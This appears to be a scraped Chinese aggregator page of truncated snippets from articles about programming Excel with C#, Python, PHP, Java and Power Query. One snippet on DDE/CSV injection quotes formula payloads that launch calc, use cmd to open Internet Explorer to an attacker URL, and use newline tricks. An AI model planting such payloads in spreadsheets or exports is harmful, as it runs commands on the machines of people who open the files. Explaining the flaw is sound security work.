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在C#中,如何以编程的方式设置 Excel 单元格样式

修改Excel单元格中的各种格式和外观。...Excel 中有两种类型的文本对齐方式: 水平对齐方式,包括以下选项:左对齐、居中对齐、右对齐和对齐 垂直对齐选项:顶部、中部和底部 使用 GcExcel,可以使用 Range 接口的 HorizontalAlignment...文本旋转设置文本的角度,对于垂直文本(如 CJK)特别有用。 GcExcel 允许使用 Range 接口的 ReadingOrder 属性来设置文本方向。...条件格式 在工作表中,Excel 允许用户对单个或一系列单元格创建条件格式规则,使单元格、行、列或整个工作表中的数据自动应用不同的格式。...单元格样式 Excel 提供了多种内置单元格样式(如“Good”、“Bad”、“Heading”、“Title”等),以便根据特定数据需求快速设置单元格样式。

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    PQ-M及函数:实现Excel中的lookup分段取值(如读取不同级别的提成比例)

    小勤:我现在有个按营业额不同等级的提成比例表,怎么用Power Query读到营业额数据表里?如下图所示: 大海:这个问题如果是在Excel里的话,用Lookup函数非常简单。...,类似于在Excel中做如下操作(比如针对营业额为2000的行,到提成比例表里取数据): 那么,Table.SelectRows的结果如下图所示: 2、在Table.SelectRows得到相应的结果后...,我们就可以用Tabe.Last该结果的最后一行,即: 3、得到筛选表最后一行后,要取提成比例,即可以直接用“提成比例”字段名来得到。...大海:这其实是Table.SelectRows进行筛选表操作时的条件,这相当于将一个自定义函数用于做条件判断,其中的(t)表示将提成比例表作为参数,而t[营业额]表示提成比例表里的营业额列,而最后面的[...大海:PQ里的函数式写法跟Excel里的公式不太一样,慢慢适应就好了。

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    技巧—新建日期表

    如何以最快的速度生成一张通用而且好用的日期表呢?很多人都想要找到一个适合自己的最优方案。...2) PowerQuery生成,利用编辑查询器中的添加日期列功能(这是以往我比较喜欢的方式,在日历表的使用文章中曾介绍过) ? 3) 复制前人写过的PowerQueryM代码。...利用基本的日期函数Year、Month、Weeknum和算式求得每一个日期的年季度月日,这些函数与Excel的函数相同,对Excel的使用者来讲不难理解。...但我认为日期表即使跨度十年也就是3650行,用写两倍长的代码来提升0.0X秒的计算速度,并没有什么吸引力。如果说在速度和简单上来找一个平衡,我更倾向于简单。(当然,这只是针对日期表这个例子。...Marco的那篇文章主要是为了说明Generate/Row可以更好地取代Addcolumns,这是另一个有意义的话题。) 3.

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    python导入excel数据画散点图_excel折线图怎么做一条线

    : student的表单数据如下所示: 1:在利用pandas模块进行操作前,可以先引入这个模块,如下: import pandas as pd 2:读取Excel文件的两种方式: #方法一:默认读取第一个表单...df=pd.read_excel('lemon.xlsx')#这个会直接默认读取到这个Excel的第一个表单 data=df.head()#默认读取前5行的数据 print("获取到所有的值:\n{0...}".format(data))#格式化输出 得到的结果是一个二维矩阵,如下所示: #方法二:通过指定表单名的方式来读取 df=pd.read_excel('lemon.xlsx',sheet_name...: df=pd.read_excel('lemon.xlsx') data=df.ix[1,2]#读取第一行第二列的值,这里不需要嵌套列表 print("读取指定行的数据:\n{0}".format(data...)) 4:读取指定的多行多列值: df=pd.read_excel('lemon.xlsx') data=df.ix[[1,2],['title','data']].values#读取第一行第二行的title

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    读Python数据分析基础之Excel读写与处理

    内进行编程实现高级效果(如Excel数据的批量修改)一般都用VBA,当然以后Office要内置Python了,现在学好Python以后就能很容易理解和定制化Excel的宏了。...Excel文件的读取 通过xlrd库的open_workbook()对Excel数据进行读入。...pandas库读写Excel 下面看看用pandas进行Excel读取的操作, 读只需要一句话(引入库的不算在内),pd.read_excel(in_fname),和前一篇笔记读取csv的格式一样,都是生成...有些时候,我们并不需要 Excel 文件中的所有行,特别是数据量很大但是我们只关心满足一定条件的数据。例如,可能只需要包含一个特定的词数值的那些行,或者只需要那些与一个具体日期相关联的行数据。...另外一种方式是使用 loc 函数。如果使用 loc 函数,那么需要在列标题列表前面加上一个冒号和一个逗号,表示你想为这些特定的列保留所有行。

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    个人永久性免费-Excel催化剂功能第16波-N多使用场景的多维表转一维表

    操作方法 操作方法这里不展开讲,可以查看视频得知最详细的操作方式,此处仅最大能力地解释一下窗体中的各个参数的定义。 如下图所示,合最复杂的类型五作了数据前后的对比及参数的填写。...提取源数据全表 在Excel催化剂多个功能中有此设置,因读取数据采用的是OLEDB的数据库读取技术(对数据量大时性能较好),貌似如果指标单元格区域,只有6万多行是可行,若数据行大于此数时,需要规范数据源所在的工作表...(首行首列开始是数据源区域,除正常数据源的数据,不包含其他数据在此工作表内),勾选此处将对此工作表进行所有数据读取,数据行记录数可以增加至100万行。...单元是指最底层标题对应的上一层标题的数据项数量,如上一层是季度,为3列数据,同样在一行表头中,也类型算其间隔或重复的列数(假设其上方还有一行作了区分不同数据列的组合定义) 转换输出 同样一贯的Excel...,希望大家日后再遇到相关的场景时,可以让Excel催化剂帮助减轻大量的工作量,省下时间做更有意义的事情,也欢迎工作中遇到重复性、有规律逻辑性的场景到群里反馈,或许最终可以提炼出插件完成,受惠广大职场人士

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    《Python for Excel》读书笔记连载12:使用pandas进行数据分析之理解数据

    描述性统计和数据汇总 理解大型数据集的一种方法是计算整个数据集或有意义子集的描述性统计数据,如总和或均值。...默认情况下,它们返回沿轴axis=0的系列,这意味着可以获得列的统计信息: 如果需要每行的统计信息,使用axis参数: 默认情况下,缺失值不包括在描述性统计信息(如sum或mean)中,这与Excel...处理空单元格的方式一致,因此在包含空单元格的区域内使用Excel的AVERAGE公式将获得与应用于具有相同数字和NaN值(而不是空单元格)的系列的mean方法相同的结果。...透视表和熔解 如果在Excel中使用透视表,应用pandas的pivot_table函数不会有问题,因为它的工作方式基本相同。...index和columns分别定义数据框架的哪一列将成为透视表的行和列标签。

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    使用Python Xlsxwriter创建Excel电子表格

    然而,顾名思义,它只写入Excel文件,而不读取现有文件。 xlsxwriter也是pandas采用的Excel writer引擎之一。可以肯定地说,如果pandas依赖于这个库,那么使用它更方便。...如果不包括此行,Excel文件将不会保存。 引用单元格和单元格区域 可以使用“A1”或(行、列)符号来引用Excel中的单元格。...“A1”符号更容易让人阅读,而且这也是在使用Excel公式时所需要的,比如C10=A1*2。然而,(行、列)表示法更易于编程。...xl_range()将(行、列)表示法转换为区域表示法,如“A1:C10”。它有4个参数:(开始行、开始列、结束行、结束列),只有整数值是有效参数。...如何获取工作表 因为xlsxwriter无法读取现有的Excel文件,所以使用.get_worksheet()方法是没有意义的。

    4.6K40

    推荐一个有用的Excel操作类库 LinqToExcel

    GitHub: LinqToExcel 以前项目中对Excel进行信息读取,我都是使用的NPOI的封装类,给定一个fileurl,然后返回给我一个datatable。接下去自己去解析数据。...如果使用这种方式,那开发者就还要有点小痛苦,因为我们还要在此基础上自己做一些处理,才可以得到我们想要的数据,例如:行列匹配,定义一个实体,一行一行取值,一列一列赋值,这样的操作没有意义,而且机械。...API操作方便 下面的代码相当的简单,通过这样的一行代码我们就能够将excel表中的内容变成实体集合 简单解释一下代码的意思 1 首先创建一个excel文件,定义俩列,公司名称和地址,程序读取集合数据...一般这种需要上传Excel的都是导入操作,客户很多时候填写数据,因为粗心或者疏忽,很容易填错,所以我们一般会对excel文件先进行一下解析,如果有问题的字段,会告诉使用者:“XX”行“XX”列字段有问题...我还是举例子,下面的图片是我们实际过程种可能碰到的需求,即表格的数据列不一定在第一行,没有一个方法让我选定从哪一行开始选取数据集。

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    Python 持久化 - 文件

    :表明文件用什么方式打开 r:以只读方式打开 w:写方式打开,会覆盖以前的内容 x:创建方式打开,如文件已经存在,报错 a:append 方式,以追加的方式对文件内容进行写入 b:binary 方式,二进制方式写入...f进行操作 # 在本模块中不需要再使用close关闭文件f # with 案例 with open(r"test01.txt", 'r') as f: # 按行读取内容 strline...() 假若他日相逢, 我将何以贺你?...# list 能用打开的文件作为参数,把文件内每一行内容作为一个元素 with open(r"test01.txt", 'r') as f: # 以打开的文件f作为参数,创建列表 l...向文件追加一行诗 # a 代表追加方式打开 with open(r"test01.txt", 'a') as f: # 注意字符串内含有换行符 f.write("生活不止眼前的苟且,\

    1.1K87

    DDE注入(CSV)漏洞原理及实战案例全汇总

    ---- 1、漏洞原理: 1)Excel解析机制 第一个需要知道的知识点是,在Excel任何以'='字符开头的单元格都将被电子表格软件解释为公式,如果我们在其中输入“=2+5”,则表格会显示为: ?...A0弹出ipconfig命令的方式探测漏洞是否存在。类比XSS的利用思路,如果系统可以实现alert(1)弹框效果,说明我们可以执行任意的js代码,这取决于我们的利用思路。...Excel将打开存储在link_location的文件,如: ?...当然使用第一种攻击方式也可以实现这种攻击效果,如: =6-5 cmd|’ /C “C:\Program Files\InternetExplorer\iexplore.exe” http://<attackers...D2 参数处输入此payload,%0A被解析,从而后面的数据跳转到下一行; 3、;-3+3+cmd|' /C calc'!

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    PHPExcel所遇到问题的知识点总结

    工作中进行excel的时候遇到了两个问题, 1.excel表中列值过大,由于没有进行特殊处理,程序没法正常运行; 2.列值中含有日期格式的文本,不能正确读取; 所以通过网络搜索,并解决了问题,记录一下,.../PHPExcel.php'; //读取的excel文件 $excelFile = '..../test.xlsx'; /**实例化读取excel文件类,根据excel版本进行不同获取,下面是不同方式*/ /*** //Excel5方式 $objReader = new PHPExcel_Reader_Excel5...//由于我的文件是07版本,所以使用Excel2007方式 $objReader = PHPExcel_IOFactory::createReader('Excel2007'); //载入excel...文件 $objPHPExcel = $objReader->load($excelFile); //读取excel的第一个工作表 $sheet = $objPHPExcel->getSheet(0);

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    建立数据驱动,关键字驱动和混合Selenium框架这些你了解吗

    它也可以通过以下方式构造:从外部应用程序(例如.csv)调用(调用)需要执行的测试用例。...我进一步定义了一个for循环,以从excel工作簿中检索文本。 但是,为了从给定的工作表编号,列编号和行编号读取数据,将对“ ReadExcelFile”类进行调用。...我已经导入了Apache POI XSSF库,该库用于读取数据或将数据写入excel文件。在这里,我创建了一个构造函数(相同方法的对象)以传递值:工作表编号,行编号和列编号。...Excel行和列 //硬编码值目前用于Excel行和列 //在后面的章节中,我们将用varibales/替换这些硬编码值,这是逐行读取列3(Action关键字)的值的循环 for (int iRow=...Excel行和列 //稍后,我们将更有效地使用这些硬编码值 //这是逐行读取列(Action关键字)值的循环 //这意味着这个循环将执行测试步骤表中为测试用例提到的所有步骤 for (int iRow

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    Java标准IO流编程一览笔录

    4、流的处理 流分节点流和处理流两种。 节点流:可以从或向一个特定的地方(节点)读写数据。如FileInputStream、FileReader。...处理流:是对一个已存在的流的连接和封装,通过所封装的流的功能调用实现数据读写。如BufferedReader.处理流的构造方法总是要带一个其他的流对象做参数。...一个流对象经过其他流的多次包装,称为流的链接 5、文件访问 (1)读取文件 如果你需要在不同端使用读取文件,你可以根据你要读的文件是二进制文件还是文本文件,或者根据你要处理的数据是准备采取字节方式还是字符方式...= null) { r.close();// 关闭流 } } } (2)写入文件 与读取文件类似: 如果你需要在不同端使用写入文件,你可以根据你要写的文件是二进制文件还是文本文件,或者根据你要处理的数据是准备采取字节方式还是字符方式...\n"); w.write("何以飘零去,何以少团栾,何以别离久,何以不得安?

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